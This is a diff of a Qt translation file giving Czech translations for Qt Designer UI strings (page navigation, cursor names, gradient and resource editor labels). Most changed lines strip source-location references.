<name>QStackedWidgetEventFilter</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_stackedbox.cpp" line="+194"/>
<source>Previous Page</source>
<translation>Předchozí strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Next Page</source>
<translation>Další strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+1"/>
<source>Before Current Page</source>
<translation>Před nynější stranu</translation>
</message>
<message>
- <location line="+1"/>
<source>After Current Page</source>
<translation>Po nynější straně</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Page Order...</source>
<translation>Změnit pořadí stran...</translation>
</message>
<message>
- <location line="+72"/>
<source>Change Page Order</source>
<translation>Změnit pořadí stran</translation>
</message>
<message>
- <location line="+49"/>
<source>Page %1 of %2</source>
<translation>Strana %1 z %2</translation>
</message>
<message>
- <location line="+10"/>
- <location line="+4"/>
<source>Insert Page</source>
<translation>Vložit stranu</translation>
</message>
@@ -2371,12 +1987,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QStackedWidgetPreviewEventFilter</name>
<message>
- <location line="-153"/>
<source>Go to previous page of %1 &apos;%2&apos; (%3/%4).</source>
<translation>Jít na předchozí stranu %1 &apos;%2&apos; (%3/%4).</translation>
</message>
<message>
- <location line="+4"/>
<source>Go to next page of %1 &apos;%2&apos; (%3/%4).</source>
<translation>Jít na další stranu %1 &apos;%2&apos; (%3/%4).</translation>
</message>
@@ -2384,28 +1998,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QTabWidgetEventFilter</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_tabwidget.cpp" line="+89"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+1"/>
<source>Before Current Page</source>
<translation>Před nynější stranu</translation>
</message>
<message>
- <location line="+1"/>
<source>After Current Page</source>
<translation>Po nynější straně</translation>
</message>
<message>
- <location line="+283"/>
<source>Page %1 of %2</source>
<translation>Strana %1 z %2</translation>
</message>
<message>
- <location line="+10"/>
- <location line="+4"/>
<source>Insert Page</source>
<translation>Vložit stranu</translation>
</message>
@@ -2413,37 +2021,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QToolBoxHelper</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_toolbox.cpp" line="+64"/>
<source>Delete Page</source>
<translation>Smazat stranu</translation>
</message>
<message>
- <location line="+1"/>
<source>Before Current Page</source>
<translation>Před nynější stranu</translation>
</message>
<message>
- <location line="+1"/>
<source>After Current Page</source>
<translation>Po nynější straně</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Page Order...</source>
<translation>Změnit pořadí stran...</translation>
</message>
<message>
- <location line="+116"/>
<source>Change Page Order</source>
<translation>Změnit pořadí stran</translation>
</message>
<message>
- <location line="+44"/>
<source>Page %1 of %2</source>
<translation>Strana %1 z %2</translation>
</message>
<message>
- <location line="+12"/>
<source>Insert Page</source>
<translation>Vložit stranu</translation>
</message>
@@ -2451,15 +2052,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtBoolEdit</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertybrowserutils.cpp" line="+226"/>
- <location line="+10"/>
- <location line="+25"/>
<source>True</source>
<translation>Pravdivý</translation>
</message>
<message>
- <location line="-25"/>
- <location line="+25"/>
<source>False</source>
<translation>Nepravdivý</translation>
</message>
@@ -2467,12 +2063,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtBoolPropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="+1469"/>
<source>True</source>
<translation>Pravdivý</translation>
</message>
<message>
- <location line="+1"/>
<source>False</source>
<translation>Nepravdivý</translation>
</message>
@@ -2480,7 +2074,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtCharEdit</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qteditorfactory.cpp" line="+1581"/>
<source>Clear Char</source>
<translation>Smazat znak</translation>
</message>
@@ -2488,7 +2081,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtColorEditWidget</name>
<message>
- <location line="+605"/>
<source>...</source>
<translation>...</translation>
</message>
@@ -2496,22 +2088,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtColorPropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="+4743"/>
<source>Red</source>
<translation>Červená</translation>
</message>
<message>
- <location line="+8"/>
<source>Green</source>
<translation>Zelená</translation>
</message>
<message>
- <location line="+8"/>
<source>Blue</source>
<translation>Modrá</translation>
</message>
<message>
- <location line="+8"/>
<source>Alpha</source>
<translation>Alfa</translation>
</message>
@@ -2519,97 +2107,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtCursorDatabase</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertybrowserutils.cpp" line="-206"/>
<source>Arrow</source>
<translation>Šipka</translation>
</message>
<message>
- <location line="+2"/>
<source>Up Arrow</source>
<translation>Šipka nahoru</translation>
</message>
<message>
- <location line="+2"/>
<source>Cross</source>
<translation>Křížící se čáry</translation>
</message>
<message>
- <location line="+2"/>
<source>Wait</source>
<translation>Přesýpací hodiny</translation>
</message>
<message>
- <location line="+2"/>
<source>IBeam</source>
<translation>I trámec</translation>
</message>
<message>
- <location line="+2"/>
<source>Size Vertical</source>
<translation>Zvětšit svisle</translation>
</message>
<message>
- <location line="+2"/>
<source>Size Horizontal</source>
<translation>Zvětšit vodorovně</translation>
</message>
<message>
- <location line="+2"/>
<source>Size Backslash</source>
<translation>Zvětšit zpětné/obrácené lomítko</translation>
</message>
<message>
- <location line="+2"/>
<source>Size Slash</source>
<translation>Zvětšit lomítko</translation>
</message>
<message>
- <location line="+2"/>
<source>Size All</source>
<translation>Zvětšit vše</translation>
</message>
<message>
- <location line="+2"/>
<source>Blank</source>
<translation>Prázdný</translation>
</message>
<message>
- <location line="+2"/>
<source>Split Vertical</source>
<translation>Rozdělit svisle</translation>
</message>
<message>
- <location line="+2"/>
<source>Split Horizontal</source>
<translation>Rozdělit vodorovně</translation>
</message>
<message>
- <location line="+2"/>
<source>Pointing Hand</source>
<translation>Ukazující ruka</translation>
</message>
<message>
- <location line="+2"/>
<source>Forbidden</source>
<translation>Zakázáno</translation>
</message>
<message>
- <location line="+2"/>
<source>Open Hand</source>
<translation>Otevřená ruka</translation>
</message>
<message>
- <location line="+2"/>
<source>Closed Hand</source>
<translation>Zavřená ruka</translation>
</message>
<message>
- <location line="+2"/>
<source>What&apos;s This</source>
<translation>A co je toto</translation>
</message>
<message>
- <location line="+2"/>
<source>Busy</source>
<translation>Zaneprázdněn</translation>
</message>
@@ -2617,12 +2186,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtFontEditWidget</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qteditorfactory.cpp" line="+198"/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location line="+20"/>
<source>Select Font</source>
<translation>Vybrat písmo</translation>
</message>
@@ -2630,37 +2197,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtFontPropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="-351"/>
<source>Family</source>
<translation>Písmová rodina</translation>
</message>
<message>
- <location line="+13"/>
<source>Point Size</source>
<translation>Bodová velikost</translation>
</message>
<message>
- <location line="+8"/>
<source>Bold</source>
<translation>Tučné</translation>
</message>
<message>
- <location line="+7"/>
<source>Italic</source>
<translation>Kurzíva</translation>
</message>
<message>
- <location line="+7"/>
<source>Underline</source>
<translation>Podtržení</translation>
</message>
<message>
- <location line="+7"/>
<source>Strikeout</source>
<translation>Přeškrtnuté</translation>
</message>
<message>
- <location line="+7"/>
<source>Kerning</source>
<translation>Podřezávání</translation>
</message>
@@ -2668,7 +2228,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtGradientDialog</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientdialog.ui"/>
<source>Edit Gradient</source>
<translation>Upravit přechod</translation>
</message>
@@ -2676,304 +2235,242 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtGradientEditor</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradienteditor.cpp" line="+431"/>
<source>Start X</source>
<translation>Začáteční hodnota x</translation>
</message>
<message>
- <location line="+4"/>
<source>Start Y</source>
<translation>Začáteční hodnota y</translation>
</message>
<message>
- <location line="+4"/>
<source>Final X</source>
<translation>Koncová hodnota x</translation>
</message>
<message>
- <location line="+4"/>
<source>Final Y</source>
<translation>Koncová hodnota y</translation>
</message>
<message>
- <location line="+7"/>
- <location line="+24"/>
<source>Central X</source>
<translation>Střed x</translation>
</message>
<message>
- <location line="-20"/>
- <location line="+24"/>
<source>Central Y</source>
<translation>Střed y</translation>
</message>
<message>
- <location line="-20"/>
<source>Focal X</source>
<translation>Ohnisko x</translation>
</message>
<message>
- <location line="+4"/>
<source>Focal Y</source>
<translation>Ohnisko y</translation>
</message>
<message>
- <location line="+4"/>
<source>Radius</source>
<translation>Poloměr</translation>
</message>
<message>
- <location line="+16"/>
<source>Angle</source>
<translation>Úhel</translation>
</message>
<message>
- <location line="+288"/>
<source>Linear</source>
<translation>Přímočarý</translation>
</message>
<message>
- <location line="+1"/>
<source>Radial</source>
<translation>Paprskovitý</translation>
</message>
<message>
- <location line="+1"/>
<source>Conical</source>
<translation>Kuželovitý</translation>
</message>
<message>
- <location line="+20"/>
<source>Pad</source>
<translation>Doplnit</translation>
</message>
<message>
- <location line="+1"/>
<source>Repeat</source>
<translation>Opakovat</translation>
</message>
<message>
- <location line="+1"/>
<source>Reflect</source>
<translation>Zrcadlit</translation>
</message>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradienteditor.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Gradient Editor</source>
<translation>Úpravy přechodů</translation>
</message>
<message>
- <location/>
<source>1</source>
<translation>1</translation>
</message>
<message>
- <location/>
<source>2</source>
<translation>2</translation>
</message>
<message>
- <location/>
<source>3</source>
<translation>3</translation>
</message>
<message>
- <location/>
<source>4</source>
<translation>4</translation>
</message>
<message>
- <location/>
<source>5</source>
<translation>5</translation>
</message>
<message>
- <location/>
<source>Gradient Stops Editor</source>
<translation>Editor bodů zastavení přechodu</translation>
</message>
<message>
- <location/>
<source>This area allows you to edit gradient stops. Double click on the existing stop handle to duplicate it. Double click outside of the existing stop handles to create a new stop. Drag &amp; drop the handle to reposition it. Use right mouse button to popup context menu with extra actions.</source>
<translation>Tato oblast slouží pro úpravy bodů zastavení přechodu. Dvakrát klepněte na orientační bod kvůli jeho zdvojení. Dvakrát klepněte na plochu kvůli vytvoření nového orientačního bodu. Použijte tažení &amp; upuštění pro posunutí bodu. Pravým tlačítkem myši se vyvolává nabídka s dalšími souvisejícími volbami.</translation>
</message>
<message>
- <location/>
<source>Zoom</source>
<translation>Zvětšení</translation>
</message>
<message>
- <location/>
<source>Position</source>
<translation>Poloha</translation>
</message>
<message>
- <location/>
<source>Hue</source>
<translation>Barevný odstín</translation>
</message>
<message>
- <location/>
<source>H</source>
<translation>H</translation>
</message>
<message>
- <location/>
<source>Saturation</source>
<translation>Sytost</translation>
</message>
<message>
- <location/>
<source>S</source>
<translation>S</translation>
</message>
<message>
- <location/>
<source>Sat</source>
<translation>Sytost</translation>
</message>
<message>
- <location/>
<source>Value</source>
<translation>Hodnota</translation>
</message>
<message>
- <location/>
<source>V</source>
<translation>V</translation>
</message>
<message>
- <location/>
<source>Val</source>
<translation>Hodnota</translation>
</message>
<message>
- <location/>
<source>Alpha</source>
<translation>Alfa</translation>
</message>
<message>
- <location/>
<source>A</source>
<translation>A</translation>
</message>
<message>
- <location/>
<source>Type</source>
<translation>Typ</translation>
</message>
<message>
- <location/>
<source>Spread</source>
<translation>Rozšiřování</translation>
</message>
<message>
- <location/>
<source>Color</source>
<translation>Barva</translation>
</message>
<message>
- <location/>
<source>Current stop&apos;s color</source>
<translation>Barva nynějšího zastavení</translation>
</message>
<message>
- <location/>
<source>HSV</source>
<translation>HSV</translation>
</message>
<message>
- <location/>
<source>RGB</source>
<translation>RGB</translation>
</message>
<message>
- <location/>
<source>Current stop&apos;s position</source>
<translation>Poloha nynějšího zastavení</translation>
</message>
<message>
- <location/>
<source>%</source>
<translation>%</translation>
</message>
<message>
- <location/>
<source>Zoom In</source>
<translation>Přiblížit</translation>
</message>
<message>
- <location/>
<source>Zoom Out</source>
<translation>Oddálit</translation>
</message>
<message>
- <location/>
<source>Toggle details extension</source>
<translation>Zařadit další volby</translation>
</message>
<message>
- <location/>
<source>&gt;</source>
<translation>&gt;</translation>
</message>
<message>
- <location/>
<source>Linear Type</source>
<translation>Přímočarý typ</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location/>
<source>Radial Type</source>
<translation>Paprskovitý typ</translation>
</message>
<message>
- <location/>
<source>Conical Type</source>
<translation>Kuželovitý typ</translation>
</message>
<message>
- <location/>
<source>Pad Spread</source>
<translation>Doplnit rozšiřování</translation>
</message>
<message>
- <location/>
<source>Repeat Spread</source>
<translation>Opakovat rozšiřování</translation>
</message>
<message>
- <location/>
<source>Reflect Spread</source>
<translation>Zrcadlit rozšiřování</translation>
</message>
<message>
- <location/>
<source>This area shows a preview of the gradient being edited. It also allows you to edit parameters specific to the gradient&apos;s type such as start and final point, radius, etc. by drag &amp; drop.</source>
<translation>tato oblast ukazuje náhled právě upravovaného přechodu. Zde můžete upravovat proměnné příznačné pro přechod, jako začáteční a koncový bod, poloměr etd. pomocí tažení a pouštění.</translation>
</message>
<message>
- <location/>
<source>Show HSV specification</source>
<translation>Ukázat přesné vymezení HSV</translation>
</message>
<message>
- <location/>
<source>Show RGB specification</source>
<translation>Ukázat přesné vymezení RGB</translation>
</message>
<message>
- <location/>
<source>Reset Zoom</source>
<translation>Nastavit znovu zvětšení</translation>
</message>
@@ -2981,37 +2478,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtGradientStopsWidget</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientstopswidget.cpp" line="+947"/>
<source>New Stop</source>
<translation>Nové zastavení</translation>
</message>
<message>
- <location line="+1"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+1"/>
<source>Flip All</source>
<translation>Obrátit vše</translation>
</message>
<message>
- <location line="+1"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
<message>
- <location line="+1"/>
<source>Zoom In</source>
<translation>Zvětšit</translation>
</message>
<message>
- <location line="+1"/>
<source>Zoom Out</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="+1"/>
<source>Reset Zoom</source>
<translation>Nastavit znovu zvětšení</translation>
</message>
@@ -3019,46 +2509,34 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtGradientView</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.cpp" line="+107"/>
<source>Grad</source>
<translation>Přechod</translation>
</message>
<message>
- <location line="+26"/>
<source>Remove Gradient</source>
<translation>Odstranit přechod</translation>
</message>
<message>
- <location line="+1"/>
<source>Are you sure you want to remove the selected gradient?</source>
<translation>Opravdu chcete odstranit vybraný přechod?</translation>
</message>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.ui"/>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.cpp" line="+74"/>
<source>New...</source>
<translation>Nový...</translation>
</message>
<message>
- <location/>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.cpp" line="+1"/>
<source>Edit...</source>
<translation>Upravit...</translation>
</message>
<message>
- <location/>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.cpp" line="+1"/>
<source>Rename</source>
<translation>Přejmenovat</translation>
</message>
<message>
- <location/>
- <location filename="../tools/shared/qtgradienteditor/qtgradientview.cpp" line="+1"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location/>
<source>Gradient View</source>
<translation>Pohled na přechod</translation>
</message>
@@ -3066,7 +2544,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtGradientViewDialog</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientviewdialog.ui"/>
<source>Select Gradient</source>
<translation>Vybrat přechod</translation>
</message>
@@ -3074,7 +2551,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtKeySequenceEdit</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertybrowserutils.cpp" line="+221"/>
<source>Clear Shortcut</source>
<translation>Smazat klávesové zkratky</translation>
</message>
@@ -3082,17 +2558,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtLocalePropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="-3541"/>
+ <source>&lt;Invalid&gt;</source>
+ <translation>&lt;Neplatný&gt;</translation>
+ </message>
+ <message>
<source>%1, %2</source>
<translation>%1, %2</translation>
</message>
<message>
- <location line="+53"/>
<source>Language</source>
<translation>Jazyk</translation>
</message>
<message>
- <location line="+8"/>
<source>Country</source>
<translation>Země</translation>
</message>
@@ -3100,17 +2577,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtPointFPropertyManager</name>
<message>
- <location line="+411"/>
<source>(%1, %2)</source>
<translation>(%1, %2)</translation>
</message>
<message>
- <location line="+71"/>
<source>X</source>
<translation>X</translation>
</message>
<message>
- <location line="+8"/>
<source>Y</source>
<translation>Y</translation>
</message>
@@ -3118,17 +2592,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtPointPropertyManager</name>
<message>
- <location line="-320"/>
<source>(%1, %2)</source>
<translation>(%1, %2)</translation>
</message>
<message>
- <location line="+37"/>
<source>X</source>
<translation>X</translation>
</message>
<message>
- <location line="+7"/>
<source>Y</source>
<translation>Y</translation>
</message>
@@ -3136,12 +2607,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtPropertyBrowserUtils</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertybrowserutils.cpp" line="-136"/>
<source>[%1, %2, %3] (%4)</source>
<translation>[%1, %2, %3] (%4)</translation>
</message>
<message>
- <location line="+30"/>
<source>[%1, %2]</source>
<translation>[%1, %2]</translation>
</message>
@@ -3149,27 +2618,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtRectFPropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="+1706"/>
<source>[(%1, %2), %3 x %4]</source>
<translation>[(%1, %2), %3 x %4]</translation>
</message>
<message>
- <location line="+156"/>
<source>X</source>
<translation>X</translation>
</message>
<message>
- <location line="+8"/>
<source>Y</source>
<translation>Y</translation>
</message>
<message>
- <location line="+8"/>
<source>Width</source>
<translation>Šířka</translation>
</message>
<message>
- <location line="+9"/>
<source>Height</source>
<translation>Výška</translation>
</message>
@@ -3177,27 +2641,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtRectPropertyManager</name>
<message>
- <location line="-612"/>
<source>[(%1, %2), %3 x %4]</source>
<translation>[(%1, %2), %3 x %4]</translation>
</message>
<message>
- <location line="+120"/>
<source>X</source>
<translation>X</translation>
</message>
<message>
- <location line="+7"/>
<source>Y</source>
<translation>Y</translation>
</message>
<message>
- <location line="+7"/>
<source>Width</source>
<translation>Šířka</translation>
</message>
<message>
- <location line="+8"/>
<source>Height</source>
<translation>Výška</translation>
</message>
@@ -3205,33 +2664,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QtResourceEditorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qtresourceeditordialog.cpp" line="+1961"/>
<source>Edit Resources</source>
<translation>Upravit zdroje</translation>
</message>
<message>
- <location line="+35"/>
<source>New...</source>
<translation>Nový...</translation>
</message>
<message>
- <location line="-565"/>
- <location line="+566"/>
<source>New Resource File</source>
<translation>Nový zdrojový soubor</translation>
</message>
<message>
- <location line="-413"/>
<source>&lt;p&gt;&lt;b&gt;Warning:&lt;/b&gt; The file&lt;/p&gt;&lt;p&gt;%1&lt;/p&gt;&lt;p&gt;is outside of the current resource file&apos;s parent directory.&lt;/p&gt;</source>
<translation>&lt;p&gt;&lt;b&gt;Upozornění:&lt;/b&gt;&lt;p&gt;Zvolený soubor: &lt;/p&gt;&lt;p&gt;%1&lt;/p&gt;&lt;p&gt;se nachází mimo adresář se nynějším zdrojovým souborem:&lt;/p&gt;</translation>
</message>
<message>
- <location line="+8"/>
<source>&lt;p&gt;To resolve the issue, press:&lt;/p&gt;&lt;table&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Copy&lt;/th&gt;&lt;td&gt;to copy the file to the resource file&apos;s parent directory.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Copy As...&lt;/th&gt;&lt;td&gt;to copy the file into a subdirectory of the resource file&apos;s parent directory.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Keep&lt;/th&gt;&lt;td&gt;to use its current location.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</source>
<translation>&lt;p&gt;Zvolte, prosím:&lt;/p&gt;&lt;table&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Kopírovat&lt;/th&gt;&lt;td&gt;pro zkopírování souboru do adresáře se zdrojovým souborem.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Kopírovat jako...&lt;/th&gt;&lt;td&gt;pro zkopírování souboru do podadresáře se zdrojovým souborem.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Zachovat&lt;/th&gt;&lt;td&gt;, aby se soubor používal ve svém nynějším adresáři.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</translation>
</message>
<message>
- <location line="+288"/>
<source>Could not copy
%1
to
@@ -3242,248 +2694,192 @@ zu:
%2</translation>
</message>
<message>
- <location line="+35"/>
<source>A parse error occurred at line %1, column %2 of %3:
%4</source>
<translation>V souboru %3 se na řádku %1, v sloupci %2 vyskytla chyba:
%4</translation>
</message>
<message>
- <location line="+83"/>
<source>Open...</source>
<translation>Otevřít...</translation>
</message>
<message>
- <location line="+2"/>
- <location line="+11"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location line="-10"/>
- <location line="+11"/>
<source>Move Up</source>
<translation>Posunout nahoru</translation>
</message>
<message>
- <location line="-10"/>
- <location line="+11"/>
<source>Move Down</source>
<translation>Posunout dolů</translation>
</message>
<message>
- <location line="-9"/>
- <location line="+1"/>
<source>Add Prefix</source>
<translation>Přidat předponu</translation>
</message>
<message>
- <location line="+1"/>
<source>Add Files...</source>
<translation>Přidat soubory...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Prefix</source>
<translation>Změnit předponu</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Language</source>
<translation>Změnit jazyk</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Alias</source>
<translation>Změnit přezdívku</translation>
</message>
<message>
- <location line="+1"/>
<source>Clone Prefix...</source>
<translation>Zdvojit předponu...</translation>
</message>
<message>
- <location line="+37"/>
<source>Prefix / Path</source>
<translation>Předpona/Cesta</translation>
</message>
<message>
- <location line="+1"/>
<source>Language / Alias</source>
<translation>Jazyk/Přezdívka</translation>
</message>
<message>
- <location line="+117"/>
<source>&lt;html&gt;&lt;p&gt;&lt;b&gt;Warning:&lt;/b&gt; There have been problems while reloading the resources:&lt;/p&gt;&lt;pre&gt;%1&lt;/pre&gt;&lt;/html&gt;</source>
<translation>&lt;html&gt;&lt;p&gt;&lt;b&gt;Varování:&lt;/b&gt; Při opětovném nahrání souboru se vyskytly chyby:&lt;/p&gt;&lt;pre&gt;%1&lt;/pre&gt;&lt;/html&gt;</translation>
</message>
<message>
- <location line="+2"/>
<source>Resource Warning</source>
<translation>Zdroje - Varování</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qtresourceeditordialog.ui"/>
<source>Dialog</source>
<translation>Dialog</translation>
</message>
<message>
- <location/>
<source>New File</source>
<translation>Nový soubor</translation>
</message>
<message>
- <location/>
<source>N</source>
<translation>N</translation>
</message>
<message>
- <location/>
<source>Remove File</source>
<translation>Odstranit soubor</translation>
</message>
<message>
- <location/>
<source>R</source>
<translation>L</translation>
</message>
<message>
- <location/>
<source>I</source>
<translation>I</translation>
</message>
<message>
- <location/>
<source>New Resource</source>
<translation>Nový zdroj</translation>
</message>
<message>
- <location/>
<source>A</source>
<translation>A</translation>
</message>
<message>
- <location/>
<source>Remove Resource or File</source>
<translation>Odstranit zdroj nebo soubor</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qtresourceeditordialog.cpp" line="-2091"/>
<source>%1 already exists.
Do you want to replace it?</source>
<translation>Soubor %1 již existuje.
Chcete jej nahradit?</translation>
</message>
<message>
- <location line="+5"/>
<source>The file does not appear to be a resource file; element &apos;%1&apos; was found where &apos;%2&apos; was expected.</source>
<translation>Soubor zřejmě není zdrojovým souborem; Na místě, kde byl očekáván prvek &apos;%2&apos; byl nalezen prvek &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+902"/>
<source>%1 [read-only]</source>
<translation>%1 [pouze pro čtení]</translation>
</message>
<message>
- <location line="+2"/>
- <location line="+198"/>
<source>%1 [missing]</source>
<translation>%1 [chybí]</translation>
</message>
<message>
- <location line="-72"/>
<source>&lt;no prefix&gt;</source>
<translation>&lt;žádná předpona&gt;</translation>
</message>
<message>
- <location line="+322"/>
- <location line="+25"/>
<source>Resource files (*.qrc)</source>
<translation>Zdrojové soubory (*.qrc)</translation>
</message>
<message>
- <location line="-2"/>
<source>Import Resource File</source>
<translation>Zavést zdrojový soubor</translation>
</message>
<message>
- <location line="+112"/>
<source>newPrefix</source>
<translation>nováPředpona</translation>
</message>
<message>
- <location line="+49"/>
<source>Add Files</source>
<translation>Přidat soubory</translation>
</message>
<message>
- <location line="+21"/>
<source>Incorrect Path</source>
<translation>Nesprávný údaj o cestě</translation>
</message>
<message>
- <location line="+3"/>
- <location line="+19"/>
- <location line="+212"/>
- <location line="+7"/>
<source>Copy</source>
<translation>Kopírovat</translation>
</message>
<message>
- <location line="-236"/>
<source>Copy As...</source>
<translation>Kopírovat jako...</translation>
</message>
<message>
- <location line="+2"/>
<source>Keep</source>
<translation>Zachovat</translation>
</message>
<message>
- <location line="+2"/>
<source>Skip</source>
<translation>Přeskočit</translation>
</message>
<message>
- <location line="+87"/>
<source>Clone Prefix</source>
<translation>Zdvojit předponu</translation>
</message>
<message>
- <location line="+1"/>
<source>Enter the suffix which you want to add to the names of the cloned files.
This could for example be a language extension like &quot;_de&quot;.</source>
<translation>Zadejte, prosím, příponu, kterou chcete přidat k názvům zdvojených souborů.
Může to být například jazykové rozšíření &quot;_cs&quot;.</translation>
</message>
<message>
- <location line="+113"/>
- <location line="+4"/>
<source>Copy As</source>
<translation>Kopírovat jako</translation>
</message>
<message>
- <location line="+1"/>
<source>&lt;p&gt;The selected file:&lt;/p&gt;&lt;p&gt;%1&lt;/p&gt;&lt;p&gt;is outside of the current resource file&apos;s directory:&lt;/p&gt;&lt;p&gt;%2&lt;/p&gt;&lt;p&gt;Please select another path within this directory.&lt;p&gt;</source>
<translation>&lt;p&gt;Vybraný soubor: &lt;/p&gt;&lt;p&gt;%1&lt;/p&gt;&lt;p&gt;se nachází mimo adresář se zdrojovým souborem:&lt;/p&gt;&lt;p&gt;%2&lt;/p&gt;&lt;p&gt;Zvolte, prosím, jinou cestu, která je obsažena v tomto adresáři.&lt;/p&gt;</translation>
</message>
<message>
- <location line="+20"/>
<source>Could not overwrite %1.</source>
<translation>%1 se nepodařilo přepsat.</translation>
</message>
<message>
- <location line="+54"/>
<source>Save Resource File</source>
<translation>Uložit zdrojový soubor</translation>
</message>
<message>
- <location line="+1"/>
<source>Could not write %1: %2</source>
<translation>Soubor %1 se nepodařilo zapsat: %2</translation>
</message>
<message>
- <location line="+71"/>
<source>Open Resource File</source>
<translation>Otevřít zdrojový soubor</translation>
</message>
@@ -3491,24 +2887,20 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtResourceView</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qtresourceview.cpp" line="+566"/>
<source>Size: %1 x %2
%3</source>
<translation>Velikost: %1 x %2
%3</translation>
</message>
<message>
- <location line="+20"/>
<source>Edit Resources...</source>
<translation>Upravit zdroje...</translation>
</message>
<message>
- <location line="+6"/>
<source>Reload</source>
<translation>Nahrát znovu</translation>
</message>
<message>
- <location line="+7"/>
<source>Copy Path</source>
<translation>Kopírovat cestu</translation>
</message>
@@ -3516,7 +2908,6 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtResourceViewDialog</name>
<message>
- <location line="+250"/>
<source>Select Resource</source>
<translation>Vybrat zdroj</translation>
</message>
